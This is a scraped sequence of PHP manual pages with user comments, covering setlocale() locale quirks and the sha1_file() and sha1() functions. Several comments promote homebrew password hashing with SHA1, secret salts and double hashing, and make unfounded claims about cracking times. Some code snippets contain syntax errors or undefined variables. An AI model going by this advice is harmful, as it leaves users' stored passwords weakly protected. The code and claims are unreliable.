this will return "M&auml;rz", but that html-entity will look like this on a utf-8 page: "M?rz". Not what I want.

But if you use

   setlocale(LC_TIME, 'de_DE.UTF8');  // note the charset info !
   echo strftime("%B");

this returns "M√§rz", which, on utf-8, looks like it should: "M?rz".
Edwin Martin 20-Feb-2006 04:29
Debian users: Addition to Gabor Deri's note: if setlocale doesn't work in your locale and you're on Debian, and Gabor Deri's note doesn't work, you have to install the locales package.

As root, type: "apt-get install locales" and it will be installed.
glenn at europlan dot no 29-Nov-2005 11:55
In most Unix/Linux system, you could use:

locale -a

This will list all available locales on the server.
birkholz at web dot de 14-Aug-2005 08:42
When i tried to get the current locale (e.g. after i set the lang to german with setlocale(LC_ALL, 'de_DE'); ), the following did not work on my suse linux 9.0-box:
$currentLocale = setlocale(LC_ALL, NULL);
This code did a reset to the server-setting.

$currentLocale = setlocale(LC_ALL, 0); works perfectly for me, but the manual says NULL and 0 are equal in this case, but NULL seems to act like "".
pigmeu at pigmeu dot net 18-Oct-2004 01:42
!!WARNING!!

The "locale" always depend on the server configuration.

i.e.:
When trying to use "pt_BR" on some servers you will ALWAYS get false. Even with other languages.

The locale string need to be supported by the server. Sometimes there are diferents charsets for a language, like "pt_BR.utf-8" and "pt_BR.iso-8859-1", but there is no support for a _standard_ "pt_BR".

This problem occours in Windows platform too. Here you need to call "portuguese" or "spanish" or "german" or...

Maybe the only way to try to get success calling the function setlocale() is:
setlocale(LC_ALL, "pt_BR", "pt_BR.iso-8859-1", "pt_BR.utf-8", "portuguese", ...);

But NEVER trust on that when making functions like date conversions or number formating. The best way to make sure you are doing the right thing, is using the default "en_US" or "en_UK", by not calling the setlocale() function. Or, make sure that your server support the lang you want to use, with some tests.

Remember that: Using the default locale setings is the best way to "talk" with other applications, like dbs or rpc servers, too.

[]s

Pigmeu
dv at josheli dot com 12-Aug-2004 04:04
On Novell Netware, the language codes require hyphens, not underscores, and using anything other than LC_ALL doesn't work directly.

So... (from their support list)....

You have to set TIME, NUMERIC etc. info in two steps as given below rather than one. This is due to the limitation of setlocale function of LibC.
<?php
   setlocale(LC_ALL, 'es-ES');
   $loc = setlocale(LC_TIME, NULL);
   echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
  // jeuves 22 diciembre 1978
?>
This should work.

or of course, reset LC_ALL...
<?php
setlocale(LC_ALL, 'es-ES');
echo strftime("%A %e %B %Y", mktime(0, 0, 0, 12, 22, 1978));
setlocale(LC_ALL, '');
// jeuves 22 diciembre 1978
?>
mk at totu dot com 26-Jan-2004 04:59
Be carefull - setting a locale which uses commas instead of dots in numbers may cause a mysql db not to understand the query:
<?php
setlocale(LC_ALL,"pl");
$price = 1234 / 100; // now the price looks like 12,34
$query = mysql_query("SELECT Id FROM table WHERE price='".$price."'");
?>
Even if there is a price 12.34 - nothing will be found
r dot nospam dot velseboer at quicknet dot nospam dot nl 08-Sep-2002 07:02
be careful with the LC_ALL setting, as it may introduce some unwanted conversions. For example, I used

setlocale (LC_ALL, "Dutch");

to get my weekdays in dutch on the page. From that moment on (as I found out many hours later) my floating point values from MYSQL where interpreted as integers because the Dutch locale wants a comma (,) instead of a point (.) before the decimals. I tried printf, number_format, floatval.... all to no avail. 1.50 was always printed as 1.00 :(

When I set my locale to :

 setlocale (LC_TIME, "Dutch");

my weekdays are good now and my floating point values too.

I hope I can save some people the trouble of figuring this out by themselves.

Rob
misc dot anders at feder dot dk 19-Jun-2001 06:13
Under FreeBSD, locale definitions are stored in the /usr/share/locale/ directory. Danish time formats and weekdays, for instance, are stored in /usr/share/locale/da_DK.ISO_8859-1/LC_TIME.
noog at libero dot it 23-Nov-2000 03:13
On windows:
Control Panel->International Settings
You can set your locale and customize it
And locale-related PHP functions work perfectly
Morgan Christiansson &lt;mog at linux dot nu&gt; 29-Mar-2000 12:56
check /usr/share/locale/ if you want more info about the locale available with your *NIX box

there is also a file called /usr/share/locale/locale.alias with a list of aliases
such as swedish for sv_SE

so on all boxes i have accounts on (rh 6.0 and slack 3.4) you can just use setlocale("LC_ALL","swedish"); or other prefered language in plain english.

However, the weekdays were in all lowercase :(

Note: export LC_ALL=swedish made a lot of programs swedish for me, it's also possible to make them russian or japanese :)


计算文件的 sha1 散列值

  • ? setlocale
  • sha1 ?
  • PHP Manual
  • 字符串 函数
  • 计算文件的 sha1 散列值

sha1_file

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

sha1_file — 计算文件的 sha1 散列值

说明

sha1_file ( string $filename [, bool $raw_output = FALSE ] ) : string

利用» 美国安全散列算法 1，计算并返回由 filename 指定的文件的 sha1 散列值。该散列值是一个 40 字符长度的十六进制数字。

参数

filename

要散列的文件的文件名。

raw_output

如果被设置为 TRUE，sha1 摘要将以 20 字符长度的原始格式返回。

返回值

成功返回一个字符串，否则返回 FALSE。

范例

Example #1 sha1_file() 范例

<?php
foreach(glob('/home/Kalle/myproject/*.php') as $ent)
{
    if(is_dir($ent))
    {
        continue;
    }

    echo $ent . ' (SHA1: ' . sha1_file($ent) . ')', PHP_EOL;
}
?>

更新日志

版本 | 说明
5.1.0 | 改变函数以使用流 API。这意味着可以使用包装器，比如 sha1_file('http://example.com/..')。

参见

  • sha1() - 计算字符串的 sha1 散列值
  • md5_file() - 计算指定文件的 MD5 散列值
  • crc32() - 计算一个字符串的 crc32 多项式

User Contributed Notes

xijque at gmail dot com 05-Jul-2011 07:13
Just for the record -

As some have pointed out, you have two ways to generate the hash of a file:
Method 1 [this function]: sha1_file($file)
Method 2: sha1(file_get_contents($file))

It's important to realize that these two methods are NOT the same thing. If they were, I seriously doubt this function would exist.

The key difference, as far as I can tell, is how the file's contents are loaded. The second method loads the entirety of $file into memory before passing it to sha1($str). Method two, however, loads the contents of $file as they are needed to create the hash.

If you can guarantee that you'll only ever have to hash relatively small files, this difference means very little. If you have larger ones, though, loading the entirety of file into memory is a bad idea: best case, you slow down your server as it tries to handle the request; worse case, you run out of memory and don't get your hash at all.

Just try to keep this in mind if you decide to load the file's contents yourself, in lieu of using this function. On my system, I was able to use this function to generate the hash of a 2.6GB file in 22 seconds, whereas I could not with the second method, due to an out-of-memory error (which took 185 seconds).
vista_ at live dot se 23-Nov-2008 04:05
<?php
     if(!function_exists('sha1_file'))
     {
          function sha1_file($file = null)
          {
               if(is_null($file) || !file_exists($file))
               {
                    return trigger_error('File is null or does not exists');
               }

               return sha1(file_get_contents($file));
          }
     }
?>

Remember, it's important to write a corret url like this:
/home/snackzon/public_html/php/sha1.php
schiros at invisihosting dot com 06-Sep-2007 07:02
If you've got a script that allows user file upload, and you want to prevent multiple uploads of the same file:

    <?
        session_start();
        $isDuplicate = false;
        if(isset($_FILES["filename"]["tmp_name"]) && file_exists($_FILES["filename"]["tmp_name"])) {
            $fileHash = sha1_file($_FILES["filename"]["tmp_name"]);
            if(!isset($_SESSION["check_filelist"])) {
                $_SESSION["check_filelist"] = array($fileHash);
            }
            elseif(in_array($fileHash,$_SESSION["check_filelist"])) {
                $isDuplicate = true;
            }
            else {
                $_SESSION["check_filelist"][] = $fileHash;
            }

            if($isDuplicate) {
                echo "You've already uploaded that file";
            }
            else{
                // do some stuff
            }
        }

    ?>
admin at cmsrevolution dot com 04-Aug-2006 08:02
checking the sha1 of the file. ideal for download scripts making sure the file the user is downloading is not currupt
by checking the sha1 key

<?php
$filename = './Path/To/Your/File.zip';

if (file_exists($filename)) {
echo"i see the file";
} else {
echo "recheck the link file maybe broken";
}
$file = sha1_file('./Path/To/Your/File.zip');

echo"<br>is file hash valid?";
echo"hash = add the hash here<br>";
echo"hash of file :";
print($file);
?>
gubatron at gmail dot com 10-Feb-2006 07:02
P2P programs like LimeWire utilize sha1 to identify files. However they do it in base32. Here's an utility class if you want to write a Gnutella client in PHP5

/**
Utility base32 SHA1 class for PHP5
Copyright (C) 2006  Karl Magdsick (original author for Python)
                    Angel Leon (ported to PHP5)
                    Lime Wire LLC

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
class SHA1 {
  static $BASE32_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';

  /** Given a file it creates a magnetmix */
  static function fileSHA1($file) {
    $raw = sha1_file($file,true);
    return SHA1::base32encode($raw);
  } //fileSHA1

  /** Takes raw input and converts it to base32 */
  static function base32encode($input) {
    $output = '';
    $position = 0;
    $storedData = 0;
    $storedBitCount = 0;
    $index = 0;

    while ($index < strlen($input)) {
      $storedData <<= 8;
      $storedData += ord($input[$index]);
      $storedBitCount += 8;
      $index += 1;

      //take as much data as possible out of storedData
      while ($storedBitCount >= 5) {
        $storedBitCount -= 5;
        $output .= SHA1::$BASE32_ALPHABET[$storedData >> $storedBitCount];
        $storedData &= ((1 << $storedBitCount) - 1);
      }
    } //while

    //deal with leftover data
    if ($storedBitCount > 0) {
      $storedData <<= (5-$storedBitCount);
      $output .= SHA1::$BASE32_ALPHABET[$storedData];
    }

    return $output;
  } //base32encode

}


计算字符串的 sha1 散列值

  • ? sha1_file
  • similar_text ?
  • PHP Manual
  • 字符串 函数
  • 计算字符串的 sha1 散列值

sha1

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

sha1 — 计算字符串的 sha1 散列值

Warning

It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm. See the Password Hashing FAQ for details and best practices.

说明

sha1 ( string $str [, bool $raw_output = false ] ) : string

利用» 美国安全散列算法 1 计算字符串的 sha1 散列值。

参数

str

输入字符串。

raw_output

如果可选的 raw_output 参数被设置为 TRUE， 那么 sha1 摘要将以 20 字符长度的原始格式返回， 否则返回值是一个 40 字符长度的十六进制数字。

返回值

返回 sha1 散列值字符串。

范例

Example #1 sha1() 范例

<?php
$str = 'apple';

if (sha1($str) === 'd0be2dc421be4fcd0172e5afceea3970e2f3d940') {
    echo "Would you like a green or red apple?";
}
?>

参见

  • sha1_file() - 计算文件的 sha1 散列值
  • crc32() - 计算一个字符串的 crc32 多项式
  • md5() - 计算字符串的 MD5 散列值
  • hash() - 生成哈希值 （消息摘要）
  • crypt() - 单向字符串散列
  • password_hash() - 创建密码的散列（hash）

User Contributed Notes

cneeds athome dot co dot bw 02-Dec-2017 03:20
The most secure way of sending passwords I have found so far

is to first ask for and receive a one-time code from the server

and mask (hash) the password being sent back to the server with the one-time code.
hkmaly 27-Nov-2017 10:16
Note: Before you get some idea like using sha1 with password as way to prevent others tampering with message, read pages "Length extension attack" and "Hash-based message authentication code" on wikipedia. In short, naive constructions can be dangerously insecure. Use hash_hmac if available or reimplement HMAC properly without shortcuts, like already shown in comment from  mark at dot BANSPAM dot pronexus dot nl.
jcastromail at yahoo dot es 02-Feb-2016 08:15
Hi there:

About the complexity of sha1, sha1 generates a code a different code each 1,4615016373309029182036848327163e+48 (2 ^ 160 bits).  So the chances of the use of the same hash is really small.

The "problem" of sha1 (and md5) is the speed of the generation. However, the speed is proportional with the length of the text to encrypt.

However, using a SALT, it increases tenfold times the security, even for a weak password.

In gross terms, a password of 6 characters can be hacked in a minute (if its store in md5 or sha).   However, a password of 7 characters takes an hour, a password of 8 a year and a password of more than 8 character is virtually inviable of hack.

However, if we used an SALT (a secret salt btw), then even a password of 3 characters will be really safe.

sha1('SALT SECRET TEXT!!@@@aaa0000'.'123');

And a double sha1 will ensure more safety

sha1(sha1('SALT SECRET TEXT'.'123',false),false)

It will require a rainbow table of 20 characters, enough big to be absurdly safe even for a thousand of servers running during a year.
Mohit Mishra 25-Dec-2014 06:52
A combination of md5() and sha1() could be used for creating more secured hash strings. Here is a function which exactly does this download it from http://Webgrape.in/download.php?fileid=10 .
marcin at marcinwolny dot net 29-Jul-2013 03:32
Keep in mind that MD5 is less secure than SHA1.
Older CPUs can calculate MD5 over twice as fast as SHA1. GPUs in parallel calculations can handle MD5 over 3 times as fast as SHA1!

Two Radeon 79xx-series GPUs can calculate a rainbow table for 6-character lowercase MD5 password in... roughly 6 seconds!

Source: http://www.codinghorror.com/blog/2012/04/speed-hashing.html
php at wbhostmax dot de 01-Aug-2012 10:57
<?php
function DoubleSaltedHash($pw, $salt) {
    return sha1($salt.sha1($salt.sha1($pw)));
}

function generate_salt() {
        $dummy = array_merge(range('0', '9'));
        mt_srand((double)microtime()*1000000);
        for ($i = 1; $i <= (count($dummy)*2); $i++)
        {
                $swap = mt_rand(0,count($dummy)-1);
                $tmp = $dummy[$swap];
                $dummy[$swap] = $dummy[0];
                $dummy[0] = $tmp;
        }
        return sha1(substr(implode('',$dummy),0,9));
}
$pw="geheim"
$salt=generate_salt();
echo "hash:".DoubleSaltedHash($pw, $salt);

?>

this is my way to crypt passwords
mgcummings at yahoo dot com 21-Mar-2011 12:46
Thought I might save someone else some time trying to figure out how to generate a hash like MySQL5 PASSWORD() makes using just PHP.

$hash = '*' . sha1(sha1($pass), TRUE));
rich dot sage at gmail dot com 25-Nov-2010 12:59
If you're using Dovecot for mail retrieval and you want to generate SHA1 passwords yourself, you'll need to set the raw_output value to true, then base64_encode the output:

<?php
function makeDovecotPassword($input)
{
  return '{SHA}' . base64_encode(sha1($input, true));
}
?>
Anonymous 28-Oct-2009 05:48
Another solution to the salted hash with salt included directly in the hash, while keeping the same length of the result. If you want to generate a hash, call the function without the second argument. If you want to check a password against a hash, use the hash as the second argument. In this case, the function returns the hash itself on success, or boolean false on failure. You can also specify a hash algorithm as the third argument (otherwise SHA-1 will be used).

<?php
function __hash($password, $obscured = NULL, $algorithm = "sha1")
{
  // whether to use user specified algorithm
  $mode = in_array($algorithm, hash_algos());
  // generate random salt
  $salt = uniqid(mt_rand(), true);
  // hash it
  $salt = $mode ? hash($algorithm, $salt) : sha1($salt);
  // get the length
  $slen = strlen($salt);
  // compute the actual length of salt we will use
  // 1/8 to 1/4 of the hash, with shorter passwords producing longer salts
  $slen = max($slen >> 3, ($slen >> 2) - strlen($password));
  // if we are checking password against a hash, harvest the actual salt from it, otherwise just cut the salt we already have to the proper size
  $salt = $obscured ? __harvest($obscured, $slen, $password) : substr($salt, 0, $slen);
  // hash the password - this is maybe unnecessary
  $hash = $mode ? hash($algorithm, $password) : sha1($password);
  // place the salt in it
  $hash = __scramble($hash, $salt, $password);
  // and hash it again
  $hash = $mode ? hash($algorithm, $hash) : sha1($hash);
  // cut the result so we can add salt and maintain the same length
  $hash = substr($hash, $slen);
  // ... do that
  $hash = __scramble($hash, $salt, $password);
  // and return the result
  return $obscured && $obscured !== $hash ? false : $hash;
}
?>

It uses a random, variable length salt, depending on the length of the password. The functions __scramble() and __harvest() are used to place salt into the hash or pull it out respectively. You can write your own, and of course the strength of the result greatly depends on them. They can be relatively simple yet still quite secure:

<?php
function __scramble($hash, $salt, $password)
{
  return substr($hash, 0, strlen($password)) . $salt . substr($hash, strlen($password));
}

function __harvest($obscured, $slen, $password)
{
  return substr($obscured, min(strlen($password), strlen($obscured) - $slen), $slen);
}
?>

Or they can be ridiculously complicated (my favourite kind):

<?php
function __scramble($hash, $salt, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = ""; $m = 0;
  for ($i = 0; $i < strlen($salt); $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % (strlen($hash) + strlen($salt));
    while (array_key_exists($j, $index))
      $j = ++$j % (strlen($hash) + strlen($salt));
    $index[$j] = $i;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < strlen($hash) + strlen($salt); $i++)
    $out .= array_key_exists($i, $index) ? $salt[$index[$i]] : $hash[$m++];
  return $out;
}

function __harvest($obscured, $slen, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = "";
  for ($i = 0; $i < $slen; $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % strlen($obscured);
    while (in_array($j, $index))
      $j = ++$j % strlen($obscured);
    $index[$i] = $j;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < $slen; $i++)
    $out .= $obscured[$index[$i]];
  return $out;
}
?>
paul 15-Apr-2009 06:57
I believe this offers best amount of protection using a random salt, that has to be stored so it can be used later for verification.

If no salt is given (which can be retrieved by halving the output and taking the first half), then it will generate a random salt, hash it, place it in a position relative to the length of password (between 0 and length of hash type(sha1? md5?)) within the hashed password, and then hash the complete string.

This results in a password hash using a salt that is dynamically placed dependant on password length. The salt used is then appended to the front of the finished hash so it can be retrieved later on for verifying.

Seeing as users will choose a typical password of between 5 and say 15 characters long, this gives them an extra 10 times the amount of dictionary attacks to try out with the hash as it could be placed in any position, because this is a random generated salt too, it means at least 10 dictionary attacks (with possiblity of upto 40) for each instance a password is created, to try and work out your sha1 encrypted password.

If you change your password say every month, even if someone gets a look in at your file through a local exploit, the amount of time to work out your password would far outweigh the frequency at which you change it.

Nothing is secure, but this should take them longer to work out then the time you change it. That is at least by todays technologies.

Paul

<?php
    function createHash($inText, $saltHash=NULL, $mode='sha1'){
        // hash the text //
        $textHash = hash($mode, $inText);
        // set where salt will appear in hash //
        $saltStart = strlen($inText);
        // if no salt given create random one //
        if($saltHash == NULL) {
            $saltHash = hash($mode, uniqid(rand(), true));
        }
        // add salt into text hash at pass length position and hash it //
        if($saltStart > 0 && $saltStart < strlen($saltHash)) {
            $textHashStart = substr($textHash,0,$saltStart);
            $textHashEnd = substr($textHash,$saltStart,strlen($saltHash));
            $outHash = hash($mode, $textHashEnd.$saltHash.$textHashStart);
        } elseif($saltStart > (strlen($saltHash)-1)) {
            $outHash = hash($mode, $textHash.$saltHash);
        } else {
            $outHash = hash($mode, $saltHash.$textHash);
        }
        // put salt at front of hash //
        $output = $saltHash.$outHash;
        return $output;
    }
?>
mVamer 07-Jan-2009 05:49
If I correctly understand what ranko84 is on about, this would be a simpler function with roughly the same result.

<?php
function obscure($password, $algorythm = "sha1")
{
        // Get some random salt, or verify a salt.
        // Added by (grosbedo AT gmail DOT com)
        if ($salt == NULL)
        {
            $salt = hash($algorythm, uniqid(rand(), true));
        }

    // Determine the length of the hash.
    $hash_length = strlen($salt);

    // Determine the length of the password.
    $password_length = strlen($password);

    // Determine the maximum length of password. This is only needed if
    // the user enters a very long password. In any case, the salt will
    // be a maximum of half the end result. The longer the hash, the
    // longer the password/salt can be.
    $password_max_length = $hash_length / 2;

    // Shorten the salt based on the length of the password.
    if ($password_length >= $password_max_length)
    {
        $salt = substr($salt, 0, $password_max_length);
    }
    else
    {
        $salt = substr($salt, 0, $password_length);
    }

    // Determine the length of the salt.
    $salt_length = strlen($salt);

    // Determine the salted hashed password.
    $salted_password = hash($algorythm, $salt . $password);

    // If we add the salt to the hashed password, we would get a hash that
    // is longer than a normally hashed password. We don't want that; it
    // would give away hints to an attacker. Because the password and the
    // length of the password are known, we can just throw away the first
    // couple of characters of the salted password. That way the salt and
    // the salted password together are the same length as a normally
    // hashed password without salt.
    $used_chars = ($hash_length - $salt_length) * -1;
    $final_result = $salt . substr($salted_password, $used_chars);

    return $final_result;
}
?>
ranko84 at gmail dot com 16-Dec-2008 08:11
Small update..., well more like fix to the obscure function, replace
<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
    }
}
?>

with

<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        if ($hRPosition == 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition);
        }
        else
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }
}
?>

I've been getting few requests to explain how it's used so, this might be little long.

Problems:
1. In most solutions with hash and salt, you were bound to have one extra row in your database that would state, preferably random, salt for that hashed data. If attacker would manage to get drop of your database he would get hashed data and salt that is used with plain data to make it obscure, and then cracking that hashed data would be same as if you didn't add any salt to it.
2. I stumbled upon some functions that would hash data, then input salt into random places in hash and store it in database, but they would still have to write down random parameter used to scramble salt so they could reuse it when validating data. Getting simple database drop wouldn't help much here, but if they would manage to get their hands on obscuring function too, they could easily see what is salt and what hash.

Solutions:
1. Why use extra row to store salt when you can input it in hash. I'm not sure how attackers determine what type of hash are they facing, but I guess it has connection to hash length. In that case, why make attackers job easier and store in database data_hash+salt where they could assume just by it's length it has salt in there.
Reason behind $keepLength. If it's set to 1, strlen of hashed data plus salt would be equal to strlen of hashed data leading attacker to believe there is no salt.
If you leave $keepLength on NULL, strlen of final result would be strlen(used_hash_algorithm)+$hSLength.
$minhPass is there to reserve enough place for string that has to be hashed, so someone using this function wouldn't accidentally delete it by setting too high salt length ($hSLength), for example... if you set it 30000 it will keep working normal.

2. If you think about it, constant, but variable value when making input would be same data that is being input.
In case we're trying to hash password, and have user A with password "notme", password strlen equals to 5, and if we use default parameters of the function, with $keepLength set to 1, process would be:
random salt, hash it, add first 5 characters of hashed_salt at beginning of plain password, add last 5 characters of hashed_salt at end of plain password, hash it. Replace first 5 characters of hashed_password with first 5 character of hashed_salt, do same with last 5 characters of hashed_password, return hashed_password.
In case that string is longer than 10 characters function would use simple mathematics to reduce it to numbers lower than 10, well... lower than number that is stated in $hSLength.
And good thing is that every time user enters correct password it has same length so it's not necessary to write it anywhere.

So what is achieved in the end?
1. Attacker might not know that hash is salted, and you don't have that extra row in your database stating THIS IS SALT FOR THIS HASH.
2. If he does find out that it is, he wouldn't know what is hashed password and what is salt.
3. If he manages to get access to obscure function, only thing that might help him is value of $hSLength, where if $hSLength is set to 10 he would have to crack 10 variations of hashed string since he doesn't know how long password of user he's trying to crack is.
For example first variation would be hashed_password without last 10 characters, second variation would be hashed_password without first character and last 9 characters...
4. Even in case he has enough power to crack all 10 variations, resulting string that he might get doesn't necessarily has to be exactly long as password of original user in which case, attacker fails again.
Andre D 08-Oct-2008 06:28
Here's a better version of the getDigestNotation() function I posted earlier. (The first version had a bug in the argument checking.)

<?php
function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;
        $minCharLength = 2;

        while (strlen($chars) >= ($minCharLength *= 2)) {
            $bitsPerCharacter++;
        }

        unset($minCharLength);
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>
Andr D 06-Oct-2008 12:01
Sometimes you want the digest in both readable notation (such as hexadecimal) and raw binary. At other times you want the digest in a notation other than hexadecimal.

The following getDigestNotation() function takes a binary string and returns it in base 2, 4, 8, 16, 32, or 64 notation. It works with sha1(), md5(), hash(), or anything else that can output a raw binary string.

It works similar to the session.hash_bits_per_character php.ini configuration option.

You can specify which characters to use for each position, or use the default, which matches session.hash_bits_per_character (0-9, a-z, A-Z, "-", ","). The practical range of bits to use per character ($bitsPerCharacter) is 1 to 6; you may use more, but you will have to provide your own base character string ($chars) that is at least pow(2, $bitsPerCharacter) characters long. So even with 7 bits per character you need to specify a value for $chars that is 128 characters long, which exceeds the number of printable ASCII characters.

The output's radix relates to the value of $bitsPerCharacter as follows:
1: base-2 (binary)
2: base-4
3: base-8 (octal)
4: base-16 (hexadecimal)
5: base-32
6: base-64

<?php
$raw = sha1(uniqid(mt_rand(), TRUE), TRUE);

echo getDigestNotation($raw, 6);

function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;

        do {
            $bitsPerCharacter++;
        } while (strlen($chars) > pow(2, $bitsPerCharacter));
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>

Lastly, depending on the digest length, there may be fewer bits remaining for the last character than $bitsPerCharacter, so the last character will be smaller. The same thing happens with PHP's session ID generator, when 5 or 6 is used for session.hash_bits_per_character.
ranko84 at gmail dot com 08-May-2008 07:12
Thanks for the feedback. This should do the trick, I hope.
I think that I haven't understood this sentence completely "In this case you will need the salt to reside in the database along with the username and password." As in, were you refering to previous method, this method or this function.
Salt already resides in database along with username, password, or any string you decide to hash. This function just scrambles it depending on length of string (password) user enters so that attacker has trouble finding out what is salt and what is hash, if attacker even suspects that there is salt (reasons behind $keepLength, or defining $hSLength where you could set it to 24 leading attacker to believe he's facing sha256, not sha1).

<?php
function obscure ($hString, $hDecode = NULL, $hSLength = 10, $keepLength = NULL, $minhPass = 10, $hMethod = sha1)
{
    if ($hDecode == NULL)
    {
        for ($i = 0; $i<16; $i++)
        {

            $hSalt = rand(33, 255);
            $hRandomSalt .= chr($hSalt);
        }
        $hRandomSalt = hash($hMethod, $hRandomSalt);
    }
    else
    {
        $hRandomSalt = $hDecode;
    }

    if ($keepLength != NULL)
    {

        if ($hSLength > (strlen($hRandomSalt) - $minhPass))
        {
            $hSLength = (strlen($hRandomSalt) - $minhPass);
        }
    }
    else if ($hSLength < 0)
    {
        $hSLength = 0;
    }

    $hLPosition = strlen($hString);

    while ($hLPosition > $hSLength)
    {
        $hNumber = substr($hLPosition, -1);

        $hLPosition = $hLPosition * ($hNumber/10);
    }

    $hLPosition = (integer)$hLPosition;
    $hRPosition = $hSLength - $hLPosition;

    $hFSalt = substr($hRandomSalt, 0, $hLPosition);
    $hLSalt = substr($hRandomSalt, -$hRPosition, $hRPosition);

    $hPassHash = hash($hMethod, ($hLSalt . $hString . $hFSalt));

    if ($keepLength != NULL)
    {
        if ($hSLength != 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }

    return $hFSalt . $hPassHash . $hLSalt;
}
?>
nathan 25-Feb-2008 08:11
The suggestion below to double-hash your password is not a good idea.  You are much much better off adding a variable salt to passwords before hashing (such as the username or other field that is dissimilar for every account).

Double hashing is *worse* security than a regular hash.  What you're actually doing is taking some input $passwd, converting it to a string of exactly 32 characters containing only the characters [0-9][A-F], and then hashing *that*. You have just *greatly* increased the odds of a hash collision (ie. the odds that I can guess a phrase that will hash to the same value as your password).

sha1(md5($pass)) makes even less sense, since you're feeding in 128-bits of information to generate a 256-bit hash, so 50% of the resulting data is redundant.  You have not increased security at all.
ERASEthemasterswordsman at gmail dot com 10-Feb-2008 06:09
Please note that hashing a has is not completely secure, but can be used as an extra precaution (but not recommended):

<?php

sha1(md5($string));

?>
NoName 13-Sep-2007 03:26
Regarding the twistSTR - the problem is that currently it is relatively easy to generate a collision for any alphanumeric plaintext of a given, short length via e.g. a rainbow table. You're bettter off using a sufficiently lengthy and random salt.
novum123 at ribbonbazaar dot com 29-Nov-2006 08:54
So far as the dictionary attacks are concerned, I thought up the following function:

<?php
function twistSTR($array){
  $twisted="";
